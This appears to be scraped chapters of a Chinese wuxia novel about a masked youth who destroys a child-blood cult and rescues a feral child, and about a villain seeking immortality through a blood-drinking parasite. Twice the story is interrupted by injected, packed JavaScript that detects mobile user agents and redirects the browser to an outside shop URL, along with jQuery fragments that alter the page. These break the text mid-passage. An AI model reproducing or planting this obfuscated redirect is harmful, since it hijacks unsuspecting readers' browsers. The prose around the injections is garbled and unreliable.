见白衣人骑着马愈来愈近,小客栈里几个正围着桌子在吃酒的草寇,脸色齐齐沉了下来。 五天前,他们在这个小客栈撞见这个外乡来的美人,一时起了调戏之心。 结果调笑不成,酒酣耳热之际便与那美人打赌:若是美人能从楚州边境三县走一遭,取回藏生鬼子,他们几个兄弟便将项上人头拱手送上。 藏生门如今失了神母,早就没了鬼子,就算是苟延残喘,他们料定也够这猖狂的外乡美人喝一壶。 如今五日已过,正好是第六日晌午。那个和他们打赌的美人不仅没死,反倒活得好好的。 “大哥,怎么办?”最小的小弟李三凑过来,声音压得极低,带着几分慌乱,“难不成,真要把脑袋割了送出去?” “滚!”乾老大啐了一口酒沫,眼神阴鸷,“输赢又如何?从头到尾,就没打算让她活着离开!” “可她是从藏生门活着出来的啊!”李三打了个寒颤,声音都发颤,“那地方……寻常人连靠近都不敢!什么藏生门,依我看,就是送死人!” 藏生门,楚州边境的一大势力。门主宣扬自己受天之命,能赐福长生、返老还童、起死回生。 这般鬼话谁会相信? 可邪门的是,那门主竟真能让濒死之人重新复苏,让白发老者重返青春。 消息一出,楚州震动。无数人趋之若鹜,争相入教。 可灵药哪是轻易能得的? 藏生门语曰:门中神母怜爱众生,赐福需见诚心——须得全家入教,方显虔诚。大人入教,要献钱献力;孩童入教,若是天赋异禀被选中,便能入藏生门深造。 一时之间,楚州上下,竟以入藏生门为荣。 然而时日一长,变故陡生。忽一日,有人突然全身溃烂,救治不得,腐烂发狂而死。直到此时,众人才猛然想起,前朝末年,灵帝飞升之奇事。 乾老大望着已到客栈门口的白衣人,脸色愈发难看。片刻后,那人下了马,推门而入,怀中还抱着一个死尸一般的孩子,瘦得只剩一把骨头。 与其说像把骨头,不如说成是朽木裹了件破衣更合适,浑身焦黑,似发霉一般锈迹斑斑,裸露在外的肢体上布满了伤痕。 “你手里拎的是什么?”乾老大沉声问道,目光死死盯着那孩子,“还活着?” 那人道:“从藏生门救出来的孩子,神志不清,怕他伤人,便点了睡穴。” 外乡人的嗓音中略带嘶哑。 “好本事!”乾老大眼中闪过一丝忌惮,手中的两颗铁胡桃转得呼啦作响,“竟能从藏生门救人出来!当真好本事!” 他们当初不过是想调戏这外乡人,未曾想她竟有几分身手,一时兴起便打了赌。 本以为她定然死无全尸,还为没能好好玩乐一番便让她赴死而遗憾。谁曾想,她竟毫发无伤地回来了。 “去得晚了,只剩这一个孩子还活着。”白衣人抱着孩子,袖间的指尖微微发颤。 那人心道:这孩子能活下来,真是老天开眼,瘦得竟不如一只小猫。 “怎么样?”乾老大上前一步,“藏生门老巢里,可有我们要找的东西?” “没有。”白衣人语气平淡,仿佛在说一件微不足道的小事,“我把他们全杀了。” 一语既出,整个小客栈内顿时寂静疯长!霎时间,连门外风吹黄沙的动静都清晰可闻。 谁不知晓,藏生门是以“长生不老”为幌子,用邪术提取幼儿鲜血炼制灵药,借此敛财害命! “好本事,真是好本事!”乾老大突然停下了转动铁胡桃的手,缓缓站起身,一步步走到白衣人面前,皮笑肉不笑,“美人儿,不如再赌一次?去掀了霍洋的老巢!若是成了,我们兄弟几个,别说人头,便是死了,也给你当牛做马!” 钱老大本来只是想激一下这个外乡人,却不曾想此人闻言一笑,又道:“我也正有此意!” 一语既出,杀意顿袭! 钱老大五根手指稍稍一动,两颗铁胡桃便飞也似的弹射出去,直奔外乡人和她怀中的孩子而去!速度又迅又猛,带着九分杀机,显然想打个措手不及。 不料一个瞬息,那外乡人动也不动地便将两颗铁胡桃握在手中! “好快的动作!”乾老大心惊肉跳,后背已惊出冷汗,他竟是一点看不出她的动作。 此人瞧着年岁不大,却不知出自哪门哪派,武功竟深不可测到如此地步! “如此便还你好了。”白衣人右手握着两颗尚带温热的铁胡桃,说话轻轻柔柔,出手却毫不留情。长指微微一动,两颗铁胡桃如两道寒电,径直射入乾老大的两臂! “啊啊啊——!”惨叫声响彻客栈。 乾老大轰然跪地,两臂鲜血喷出,赫然出现两个血洞,皮肉乱翻,白骨隐约可见。 “你们还愣着干什么?给我上!杀了她!”乾老大疼得面目扭曲,冲着手下嘶吼,“杀了那个贱人!” 他的几个小弟本就吓得腿软,杵在原地不敢动弹。被他这么一骂,方如梦初醒,纷纷抄起桌上的刀斧,朝着外乡人扑了过去。 却见那外乡人只退不打,身姿轻盈如蝶一般,边闪边退,冲在前头的李三以为是她怕了,便一时壮了胆,骂道:“杀了她!给大哥报仇!” 一呼百应,手下诸多弟兄纷纷砍了上去。 可李三却跟泥鳅似的,趁乱溜到乾老大身边,低声道:“大哥,我怕伤着你,还是先护着你吧。” 乾老大见他这窝囊模样,气得气血翻涌,伤口血流得更急。 他强忍剧痛,挣扎着站起身,一脚将李三踹出门外,怒骂道:“没用的废物!给我滚回去拼命!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938092|188800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 李三摔在地上,不敢耽搁,连滚带爬地捡起刀,又冲了回去。 片刻后,只听得阵阵霹雳乓啷,鬼叫狼嚎,惨叫声、咒骂声交织在一起。 那一窝蜂朝着外乡人冲过去的打手们全被一一打飞,趴在地上哭爹喊娘,再也爬不起来。 乾老大见手下尽数被废,目眦欲裂,抓起身边的一把砍刀,便朝着白衣人冲了过去! “‘贱人’?”白衣人冷冷一声,身形一晃,避开了乾老大的砍刀。 随即外乡人衣袖一扬,一招“遮云闭月”飞奔而出,她的衣袖如同活了一般缠了上去,将那钱老大生生绞死。 只听“咔嚓”一声脆响,乾老大的挣扎戛然而止,脑袋无力地垂了下去。 风过后,一片寂静如烟。 白衣人踏着不紧不慢的步子,重新走进客栈,目光落在吓得瑟瑟发抖的老板身上,淡淡道:“祸害已除。给我开一间房,再送些热水过来。另外,这附近何处有大夫?” 老板被白衣人手起刀落的狠劲吓得魂不附体,连连点头应下,颤声道:“出、出了店门,往东北方向走,有一间小医馆。” “多谢。” 外乡人抱着那个尸体似的孩子进了房内之后,便把孩子安置在床上,稍后才摘下了遮面的帏帽,脱下了身上染血的外衣。 原是一个皮肤白皙,清丽俊秀的人儿来,一张脸如画一般,还带着些许稚气,既有仙子般的清逸出尘,又有少年人的清俊疏朗。 唯有说话时那清柔中带着几分低沉嘶哑的嗓音——原是个少年。 他的左眼窝里一颗小小的痣闪烁在眉眼间,平添几许柔情,和方才那杀伐果决的气度判若两人。 不多时,店里的小二送上了热水,外乡人解了孩子的睡穴。 那少年静坐在旁,默默道:“你要乖一点儿啊,我不是害你的。” 孩子裸露的四肢,面上都布满了各种伤痕。 片刻后,床上的那孩子突然动了。 瘦得如同枯枝的四肢剧烈抽动,口中发出浑浊不清的呜咽与哀嚎,枯枝般的四肢僵硬地乱抓乱蹬! 少年正要伸手安抚,下一瞬,那孩子竟如野兽般猛地撞向他的胸口! 少年猝不及防被撞倒在地。 那孩子却趁此机会“嗖”的一下钻进了床底,只留下阵阵压抑着的惊喘与浑浊的啸叫。 那声音仿佛是划破了喉管,鲜血呛进了气管一样,又像是被人捏爆了喉咙,嘶哑着,咕噜着,嘶喘着啸叫。 少年心惊,很快便又平复下来心情。 这个孩子是他从藏生门地下室的尸骸堆里找到的唯一活口。 他不知这孩子为何能在那般地狱中存活,但能笃定,这孩子定是受了非人的虐待。 那孩子形如野兽一般,不会说话,只能四肢并行乱爬,瞧着不过三四岁的年纪,枯瘦如柴。 头部,肩颈,腕间……浑身上下全部都是不同程度的血孔和割伤,蓬乱的头发如枯败的野草,唯有一双惊恐的大眼睛,潜伏在床底的黑暗中,死死盯着外面。 少年怔愣片刻,便起身出了门,再次回来时,手中多了一碗热水,和一碗热粥。 他躬身坐在地上,正对着床底,将热水与热粥轻轻推进了床底。 碗底发出声响,床底的孩子立刻发出幼兽般的惊恐哀鸣,似乎在愤怒,但更多的是深入骨髓的恐惧。 “这是吃的,这个是喝的。我把它们放在床底,你自己来拿?”少年脱下了外裳,只着里衣时,细瘦高挑的身材就那么折成一团,坐在地上,对着床边声音放得极柔。 回应他的是床底更加凶狠的嚎叫,叫声里罩满了恐惧与凄惨。 少年忽然想起什么,又将热水与热粥拿了出来。手伸进床底时,手伸进去的时候不免又激得里面的孩子一阵恐惧啸叫。 “这里没下毒,你放心。”他说着,端起碗喝了一口热水,又舀了一勺热粥咽下,才又把它们再一次递进床底下,顺便又往里面推了一推,“你看,我都喝了,没事的。” “你叫什么名字?”少年本想将孩子独自留在房里,转念一想,终究还是留了下来,“等你吃过饭,我再带你去看大夫。” 他就那么直挺挺地躺在地上,漂亮柔和的脸朝着床底里面,目光温柔地望着黑暗中那双惊恐的眼睛,自说自话一般:“已经安全了,我会陪着你的。” 天地寂静,唯有他温柔中略带嘶哑的声音,在小小的房间里回荡。 52.夜路独行灯影各怀心 “已经安全了,我会陪着你的。”原湘湘薄唇轻启,无声默念着。 字字在舌尖滚过,心底描摹着那温柔的语调,脑海中的回忆渐渐浓烈,思绪却被猛地拉回现实。 十年一梦,恍若隔世,能活下来已然万幸。 可人心总是不足,她觉得自己也愈来愈贪心,想要腰缠万贯,想要报仇雪恨,想要自己心悦的所有人,都永永远远地陪在自己身边。 原湘湘抱胸倚靠在门旁,薄薄的身体紧紧贴在冰冷的墙壁上,凉意透过衣衫,眼中空空荡荡,犹如一朵被压在书页里的干花。 她想不通,怎么那天窝在自己肩膀上哭过之后,柳折舟似乎就有些变了。 变了什么?她想不通,她说不清,只知心里闷闷的,很是不快。 她关上了门,坐在屋里一直等一直等,也没有等到柳折舟推门而入。 她甚至看着柳折舟映在门边上的影子停留了许久,她的心也跟着期盼了许久……但最终他还是没进屋来找她说话。 原湘湘蓦地咬住了嘴唇。她觉得自己已经给足了机会,既然如此,那就都不要说话好了。 楼下传来阵阵熟悉的脚步声,顺着声音,她起身凑到窗边,撇头盯着窗外,直到看见柳折舟急急忙忙出了门去,复又关上了窗。 “唉~慢着!”就在她快要关上门的一瞬,一只手伸了过来,稳稳拦住了她的动作。 原湘湘定睛一看,眸间颜色瞬间凝固。原是那个没正经的桃花大盗正倒吊着,只露出一颗脑袋和一只手拦在窗前。 她道:“你来做什么?该不会真的想和我住一个屋吧。” “姑娘言重了~”方玉堂轻轻笑笑,眉眼弯弯,“姑娘,我有事找你商量商量,可否让我进去?” 话虽问得客气,动作却半点不含糊。他的手间微微用力已经把窗户开了大半,他穿着一身劲装黑衣,身姿灵动,燕子似的滑进了屋来。 原湘湘背对着他,坐在桌子前,双目紧闭,俨然不想搭理他。 她还没忘就是这人准备绑了自己去换赏金的主! 方玉堂进了屋后,他瞧见了原湘湘那全副武装的漠然样子,心下顿时了然。 他那灿烂如桃花的眼睛微微一转,整个人便已闪到原湘湘面前,作势要跪,实则原湘湘没拦他也没跪下去。 他眉间一拧,嗓子一夹,捏起兰花指便假装谢罪,唱道:“求姑娘开恩哪,姑娘善良~~~我本是山中孤苦儿郎,父母也双亡~~还有一堆年幼妹妹要养~~实在走投无路之际——才~逼不得已去做那丧尽天良的勾当!不曾想姑娘就是那刘天承要找的人!这真是大水冲了龙王庙——一家人不认一家人呐~~~” 好一曲情深意重,歌声悠扬。 原湘湘默默擦擦冷汗,心道:这真是唱的比说的还好听。不就是因为刘天承要抓我,你才揭了榜来抓我的吗! 此事说来话长。那一晚,他们擒住方玉堂后,柳折舟便给他喂了一种名为“心花怒放丹”的毒药。 当时,柳折舟笑得温温柔柔,道:“此药必须半月服用解药一次,否则每隔七天你的心口处便会生出一条暴涨的筋脉,七七四十九天后,七筋如七花遍布整个胸口,届时便是你爆体而亡之时。” “鬼才信你。”方玉堂撇撇嘴,不屑一顾。 这话说完方玉堂便趁他们不备溜之大吉。 原湘湘当时还不解为何柳折舟轻易会放走他,柳折舟却只是温言安慰她,道:“湘湘姑娘,无妨的。” 果不其然,他们出发三天后,方玉堂便偷偷摸摸跟了上来。 此刻,方玉堂正坐在原湘湘的对面,也不唱戏了——因为原湘湘就想根木头一样杵在那儿。 他一把扯开自己衣服,露出光裸的胸膛,一手还顺着胸口那条渐隐渐现的淡红筋脉缓缓游移,从从容容游刃有余,生怕原湘湘看不到那根爆起的红筋。 方玉堂哭诉道:“姑娘你快看!我哪里想到,他竟真的如此狠毒!姑娘,你说,他到底是哪号人物,为何我一点也不曾听过呢?” 原湘湘完全没听清他在说什么,她的目光顺着他的手指一动,眼神慢慢就虚了焦,脑海中却不受控制地浮现出另一双更为白皙细长的手指,以及那布满伤痕的胸膛,细白的手指顺着伤痕游走,丝丝毫毫也不放过……最后一指插进胸前的伤口里! “你快出去。”她忽然回神过来,神色凝重地指着房门,整个人浑身上下都绷成秤砣 方玉堂挑挑眉,饶有趣味地打量着原湘湘,慢慢也坐直身体,正襟危坐道:“姑娘,请自重。” 她忍不住扶额:“你是不是误解什么了。” “我能误解什么?”方玉堂往前凑了凑,逼近她,笑道,“姑娘,我肯定比那个笑面夜叉好吧,起码不会对你忽冷忽热,惹你不快。” 听见这番话时,原湘湘心头一空,连带着眼眶也微微睁大:怎么……连一个外人也能察觉出来了么? 方玉堂本身又高又瘦,虽然不如柳折舟那般白皙修长,却胜在身形健壮有力,再加之嗓音动听,一说话来,眼尾就能笑出团团桃花来。 原湘湘心道:难怪小云姑娘总是念着桃花大盗,他确实有几分本钱。 “你想要解药的话,我没有。”原湘湘面不改色地起身,换了个离他更远的凳子坐下,“至于谁好谁坏,总比你要绑了我去换钱要来的好。” “姑娘哪里的话!”方玉堂立刻凑过去,又是倒茶又是赔罪,奉承道,“你若是一句话,那个笑脸夜叉别说解药了,就算命也得掏给你。” 原湘湘没搭理他,心里却泛起一丝天意。那话不管真假,她还是爱听的。 末了,原湘湘试探着问他:“你抓我就只为了钱?谁让你抓的我?你若肯说实话,我便帮你问问解药的事。” 方玉堂一听原湘湘许诺,立时激动得差点从凳子上跳起来,他忙捏起嗓子,学着唱戏的花旦,道:“姑娘~~小生在此先行谢过了~~~” 原湘湘绷不住喝了一口水:什么乱七八糟的,为什么自己身边都是这些不着调的。 方玉堂见气氛缓和,自己也不客气,重新拉了把椅子坐到原湘湘对面。 “姑娘可知死城城主刘天承?” 原湘湘点头,她其实只听过这个名字而已。 “一个多月前奉国寺之难后,我想姑娘的大名应该就已经传遍了江湖吧。”方玉堂说着就抖 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还是说,只是因为自己和方玉堂对他有用? 原湘湘忽然想起在北山被方玉堂的雾林五行阵困住时,柳折舟曾在她的耳边提醒:“湘湘姑娘你我二人于五行八卦之事都不了解。” “那老头也不知活了多久了,都要成精了!身边常年都是些鬼里鬼气的!姑娘,我先说明啊,我只是因为要养家糊口,不得已才想赚笔大的。” 方玉堂还在旁边絮絮叨叨,原湘湘却忽然觉得那天被柳折舟洇湿的凉意似乎活了过来,正慢慢从颈间扩散到她的心头,让她的周身隐隐抽痛。 “……我是真的服了啊,那死城比鬼打墙还可怕,谁没事要去啊!就算里面真的有传说中的三分剑鞘,我也没兴趣!” 三分剑鞘?原湘湘心头一亮,她便去问方玉堂:“找到剑鞘真的就能长生不老吗?” 方玉堂被她问得一愣,只好摇摇头道:“那谁知道!只是有人说集齐剑鞘便能得知灵帝墓所在,就能知道灵帝飞升的秘密,若是运气好,指不定也能飞升成仙,最差也能解决邪功带来的副作用。” 前朝灵帝飞升,留下了不少遗毒祸害,这是天下皆知的。 原湘湘不置可否,她从小到大见了数不胜数的例子。 “那些人真的很奇怪,一会说飞升成仙不老不死,一会儿又去找灵帝墓,既然已经不老不死了,哪里还需要坟?坟头是死人才需要的!”方玉堂一边说一边翻白眼,“信这个,不如信我方玉堂明天发大财!后天全国首富!” 原湘湘忽然想到从柳折舟那里听到的八卦,故作轻松去打趣方玉堂:“我听说,你专门去找那些脚底板有大痣的女子,不知这又什么讲究?” “什么、什么嘛!”方玉堂像是被踩了尾巴的猫,立时从椅子上弹起,支支吾吾着解释,“别听外面瞎说!我可不是那种人!我可好了!” 这边两个人就着灯火阑珊说说问问,各有打算,倒也打破了此前的沉闷。 而另一边,早已离开客栈的柳折舟,一走远便足间轻点,袖袍翻飞间如云雾一般,风吹雾散,转眼消失不见。 53.月下梳发情牵不归路 柳折舟幽幽望了一眼原湘湘的房门,眸光灰暗,最终还是决定转头就走。 他决计有些事必须速战速决,不能再耽搁了。 方才他听到一声熟悉的声音,便知那是有人来寻。 天色向晚,暮影渐沉,远处几颗星子隐隐闪烁,挂在天幕之上,忽明忽暗。 风声一霎,如云似雾般的一抹白影飘过,柳折舟已悄无声息地来到一处水潭边。潭水清澈见底,映着暗沉暮色,岸边石子生花,新草纤纤。 水潭边,一棵巨大的柳树倒垂而下,枝条轻拂水面,涟漪泛泛,寒烟骤起。 此时的他,早已收了平日里的笑色,清瘦孤绝,如同远山负雪,寒气逼人。 原湘湘早就说过,柳折舟不笑时,就是冷冰冰的另外一个人。 很快,树上一阵轻动,一个黑衣的男子如猫儿一般落下,那男子单膝跪在柳折舟的身后,他的身后背着一件被黑布裹得严严实实的长条状物什。 “公子。”黑衣人声音压得极低,显然还带着几分恭敬。 柳折舟缓缓转过身,就像在原湘湘身边一样,他微微抬起了眉尾,可眼底却没有半点温度:“你露出这般响动……这就是皇帝身边暗卫的本事?” 那暗卫心头一凛,忙叩首道:“属下寻公子心切,一时之间出了差错,还请公子恕罪。” “罢了,你起来吧。”扇子在他的手间飞来绕去,很快他就转过了身去,问道,“沧澜,她派你过来做什么?” “回公子的话,小姐、小姐是让属下前来助公子一臂之力的。”沧澜不敢起身,嘴巴里磕磕绊绊。 他心里门儿清,深知有些话他这个做下属的最好还是不要一字不差地复述比较好。 “她倒是好心。”柳折舟还是慢慢绕到沧澜身边,俯下身,泛着青气的手指轻轻抚摸着那层黑布,“不过,这剑我可不要。” 说罢,便弹了一下那被裹住的物什。 柳折舟只要一看见这剑,便会立刻想起曾在他失控之时被沈如絮一剑穿心的痛苦。 他又不住冷笑几分,道: “难道没说什么‘收尸’‘监视’之类的话?” 沧澜被他盯得浑身发毛,额角冷汗沁出,便继续道:“小姐……还说公子您若有什么遗愿,务必要等到铲除了刘天承之后再说。” “这么听话——皇帝把你赐给了她,如今她又把你赐给了我,你说,我把你赐给谁比较好?”柳折舟低低一问。 沧澜俯身更低,身子僵硬,道:“公子莫开属下玩笑了,属下也只是奉命行事。” 追根究底,柳折舟也明白,沧澜还是皇帝的人。 “行吧。”柳折舟这才收了玩笑的心思,指节抵在扇骨之上,神色肃然,他问道,“说正事,刘天承那边如何?能进去吗?” “属下早已探查清楚,东濑国使者船队经过此地后,整个船队便如人间蒸发了一般,再无半点消息。不仅如此,死城内人烟凋敝,恶鬼横行,城外又遍布阵法,普通人若想进去确实难如登天。” 柳折舟静静听着不说话。 “小姐还说,自从五年前刘天承吃了败仗后,临安经济凋敝,人力不苏,早有传言刘天承钻研灵帝飞升秘术,四处搜寻残存下来的术士,取活人精血炼蛊,企图不老不死,更有甚者……他已用邪术造出一支不死军队。” 柳折舟眉头紧皱,缓缓开口:“此事我也早有耳闻。” 还有谁能比柳折舟更清楚这些事?所谓不死,既不是刀枪不入,也不是飞升成仙,只是纯粹地借命而生,饮血夺命,即是不死。 奉国寺一事,便是铁证。 柳折舟不置可否,淡淡瞥了他一眼,道:“沈如絮还说其他什么了吗?” “小姐说,擒贼先擒王,唯有先杀刘天承才能将损失降至最小。毕竟,里面都不是人。那群吃人血肉的恶鬼,寻常将士就算攻打进去也是白白送命,不是成了恶鬼的食粮,便是同样被转化成鬼。”沧澜默默陈述,一字不落地复述他的主人的话语。 可接下来他却忽然顿住了,额角突突跳着。如果说前面那番话还算正常,接下里的话就让沧澜有些难以招架。 沧澜咽了口干唾,镇定道:“小姐还说,公子自打在水牢里当了逃兵以后,一直做的都是这些见不得光的勾当,先去漠北斩鬼又去从军杀敌,去年还在壳里睡了十来个月……” 柳折舟抽了抽嘴角,从牙缝里挤出来两个字:“继续。” “小姐说,如果公子此次若还能撑到活着回来,必然让您带着黄金万两睡个够。”沧澜说完最后一个字时,沧澜的声音里都带着几分颤意。 他早就对自己的新主人——沈皇后早有耳闻。 沈皇后是景王独女,自幼便养在深宫之中,又被嫁予二皇子,是个即便父亲大权旁落,也能在深宫之中杀到后位的女子。 但景王何时又有的一子,无人知晓。 他完全不敢抬头去看这位公子的脸——只要一看到那张脸,他就能立刻看到沈皇后那双笑意盈盈的笑脸。 “剑你就留着吧。”柳折舟无奈轻叹。 他只要一想到此剑,心口就会阵阵抽痛。 “可是,公子,此物绝不是我等能触碰的。”沧澜立刻解释,“我就是奉小姐之命,给公子您送剑来的。” 他揉了揉眉心,道:“你先暂且保管着,以后你就在暗中跟着我身旁的那位姑娘,不到危急之时不许露面。还有——” 柳折舟忽然顿住,眼中迷离起来,他轻声叮嘱道:“我若是此行不能回去了,就告诉她,把万两黄金都赠与那位原姑娘,她……于我有恩,我、还欠着人姑娘的钱。” 原湘湘买下柳折舟的十九两银子。 “遵命。” 柳折舟回到客栈时早已明月高悬,清辉遍洒。 他特意绕到楼上在原湘湘的房门前站了许久,虽然屋内亮着灯,但却没有一点声响。他站在门前,伸出的手最终还是悬在半空,喉间轻轻滚动,最终还是收回了手。 他想找湘湘说什么呢?他自己也说不清。 或许是遗言? 末了,他才回到后院的马车里准备将就一晚。 只是,刚刚走进后院,他便顿住了脚步。 月色下,马车上坐着一个瘦削单薄的少女,那少女垂下的卷发正湿哒哒的往下滴水,冷水沾湿白色的里衣,透出些许皮肉的颜色。 夜寒风冷,晚风一吹,少女便微微缩了缩身子。 柳折舟本想离开,但想到这样待上一夜,原湘湘定会染上风寒,最终还是控制不住自己脚步走了过去。 “给我梳头发。”她慢慢吩咐道,仿佛这就是他天生该为自己该做的。 原湘湘听见了那细微的脚步声,连头也没回,她自己也不清楚怎么就莫名变成了这样。明明前些日子还是好好的,怎么着,他歪在自己怀里哭了一场就变性了? 怎么也想不清楚原因,但她就觉得自己心里不痛快。凭什么呢?我什么也没有做。 是那个头槌打得太轻了? “湘湘怎么在这里,着凉了可不好。”原湘湘正在思索之间,便被一只轻轻柔柔的手按住了肩膀,身后一声极为熟悉的话语,就是有气无力了些。 柳折舟就这样促不防地从她的身后走来,和初见时那一晚一模一样——一只细白却又瘦骨嶙峋的手挑起竹帘,然后整个人游魂一般轻轻柔柔地钻了出来。 “头发没干,要小心着凉。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16959765|188800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柳折舟又重复道,这一次,原湘湘离他极近,她看清了那只右手上均匀薄厚的老茧以及手心里的痣和伤痕。 马车前座拢共就那么大点儿地,这二人并排而坐,离得很近,原湘湘在左,柳折舟在右。 “头发没干,晚上睡觉小心头疼。”柳折舟一边轻轻叮嘱着,一边攥着白手巾,慢慢摆弄着原湘湘的头发。 横栏不长,加之柳折舟身量瘦长,这两个人此刻也只得盘腿才能都坐得下。 他屈膝盘腿,姿态放得极低,眼底漫出一片白光。 柳折舟那两只手慢慢摸索着,才轻轻地覆上她小小的头顶。 发丝上的水打湿手心,凉意擦着手掌掠过,夜晚微弱的风里除了皂角的味道,还有着那股闻到便会让人安然的气息飘进原湘湘的鼻子里。 原湘湘闭口不言。 他的动作既轻又柔,又像是轻抚又像是摸索着方向,生怕稍一用力就弄疼了原湘湘。指尖擦过耳际,拂过头顶,带来一阵细碎发麻的痒,和上次柳折舟给她编辫子时一样,心里发麻却又舍不得这种舒适。 原湘湘此时便是心中再气再急也说不出半个字了。 她只好稍稍转过一点身体,企图用散落的头发遮住自己红到发烫的脸和耳朵,此时,就连呼吸也放轻了几分。 柳折舟擦得慢悠悠的,有一着没一着地说起来话:“湘湘姑娘,能不能答应我一件事?” “怎么说?”她的声音此刻带了点不易察觉的轻柔。 “此前在奉国寺时,湘湘姑娘说过可以允诺我三个要求来着。”柳折舟语气轻柔似乎又带了点试探,“现在,我想请湘湘答应我的第一个请求可以吗?绝不有为江湖道义,也绝不有违湘湘姑娘本心。” 原湘湘点头,刀刃一般的青灰色眼瞳扫过柳折舟搭在她肩上的长手。 “我想让湘湘姑娘在此地等我几日。” “几日是多少日?” “或许三四日吧。” “我为什么要等你?” 柳折舟猛地停住了手里的动作,眸光晦暗,沉声道:“因为湘湘姑娘言而必有信。” “那万一食言了呢?”原湘湘伸手去抓他的右手。 “绝对不会。”柳折舟似乎是故意躲开她,连忙继续给她擦头发。 这二人之间也不知再说谁言而有信,言而无信的。 “撒谎的人要被千刀万剐。”原湘湘咬着唇来了这么一句,眼底泛着微微红色。 “好。” 手里的事忙完之后,两个人都静静坐着,既没有人开口,也没人说要离开。皎月当空挂,地上人一双,人不言不语,月忽明忽暗。 许久之后,柳折舟听见身旁的原湘湘发了声:“……你真的没有什么要对我说的吗。” “其实,就是希望湘湘能听话。”他看着原湘湘的眼睛,道,“近来,我总是有些恍惚。” 说着,他又把自己的手伸出来晃晃,而后又在原湘湘的眼前晃了晃,就像盲人摸象。 原湘湘见他这样无奈一笑,道:“你在做什么?” 柳折舟见她这样问,便又继续道:“湘湘姑娘说呢?” 原湘湘没回答,便起身离开了。 柳折舟慢慢转过头,看着她离开的方向,手里紧紧地抓着潮湿的白布巾。 我去去就回,待我解决一切后,我会和鬼观音就此消失于世,你便不会再有任何所扰。 你如今有爱你的师父师娘,生活安康,而我已无几日可活,形同朽木,我绝对不能再把你带回十年之前。 是谁着相了? 明明十年前已经尘埃落定,今朝怎又牵绊再起?既然你的执念就是鬼观音,那我就让鬼观音彻底消失于世。 54.玄女亲赐血肉乱临安 临安城内,首府宅邸下,一幢巨大恢弘的中空角楼横水而立。 这幢巨大的建筑物犹如一头沉睡的兽,翘角飞檐静听暮色,楼阁窗槛默观天下。 刘天承此刻正悠闲坐在一把雕花檀木椅子上,手中一杯香茗慢品,虽然他早已无法品尝到食物的滋味,但眉间还是悠闲自得,好不自在。 他是主动选择种下噬心蛊的人,原因无他,只为长生。江湖中人之所求,或许还有问鼎武林一说。 他却只有这么一个渺小却又微不足道的愿望——唯有足够长的生命才能够支撑他实现自己的夙愿,不管这寿命究竟是向天借的,还是从他人身上夺取的。 种下噬心蛊的人,十死九疯;侥幸活下来的人,也得带着永生的诅咒,永远活在溃烂的血肉里不得见光。但是这种诅咒,却能够在沐浴他人鲜血后,稍有缓解。 堂下两侧依次坐着几个黑衣长袍的男子,厚重的衣料将他们遮得严严实实,但那双双压抑着的眼眸,却透着沉沉死气。 “我们先静坐片刻,待何天师回来再说。”刘天承放下茶杯,面上有种说不出的诡异。 很快,似乎是心有灵犀一般,堂中大门外立显两道身影。 “是我来迟了。”一个清瘦的道士从旁而入,深色衣衫外罩着一件紫纱道袍,眉清目逸,周身似乎拢了一层仙气,乍看之下,与这巍峨森严的环境格格不入。 “何天师果然妙计。”不多时,场中寂静被一道高昂清亮的嗓音打破。 众人顺着声音望过去,却见一个清秀儒雅的黑袍少年慢慢从何彦飞身后踱步而出。 那陌生少年虽然生得清秀,可眉眼间却带着丝丝妖异诡笑,他的视线在众人身上流连片刻,笑道:“如此一来,便能顺利在日光下活动了。” 他就像是在和小伙伴炫耀新玩具的街头稚子一般,眼中清亮,眼神却总透着股股怪异。 神思逡巡多时,众人才从那声音和神态中认出眼前这个陌生少年就是澄明! 那是澄明的声音,可脸却是一张陌生的脸! 刘天承见状,心下了然,道:“既然如此,我也可以放心披上这层皮了。” 那个紫纱道士谦虚一笑,便缓缓来到刘天承身边坐了下来,道:“大人谬赞,若无大人的鼎力相助,贫道也无这般条件找到这换皮之法。” 他们口中所说的换皮之法,正是为了解决噬心蛊的诅咒。 前有云:玄女自西极御风而来,携白鸟降世,飞星坠地,流光映天,帝率百官迎于郊,此夜后世称之为“会仙”。 长生永天,福泽不灭。玄女闭目不视,赐福雨露,百物丰生,祛病不老。帝更是鹤发作青丝,得不老不死之躯,死生倒转。 遂国都遍布玄女庙,香火鼎盛,终年不绝。 又历数载,国中信徒百千万,香火缭绕。恰会仙夜,帝下令曰:举国斋戒焚香,净身入庙,跪地朝拜。是夜,城破马鸣,红莲灼灼,天际紫光乍现,白鸟现世,真龙化羽,帝与玄女共赴仙山,不见人间。 天天又天天,年年复年年。 所谓噬心蛊正是当年玄女赐福的遗留。 种此蛊者,须剖心掏肺,血流殆尽,将死未死之际,种下一滴血肉蛊虫,蛊毒剧毒不已,中蛊者十之八九皆会当场暴毙。 若能侥幸不死,即便不得见光,满身溃烂,寻常人能延年益寿,习武者更能功力大增,必须时时饮人血肉,否则蛊毒发作,必会神智癫狂,被体内蛊虫抽干精血。 能侥幸活下来的人也是少之又少,即便不死不疯,也是半人半鬼的怪物,一具行尸走肉,或化为一滩脓血而死,或蛊毒发作身化飞灰而死,这便是伴随长生天玄女而来的诅咒。 所求长生,不过如此。 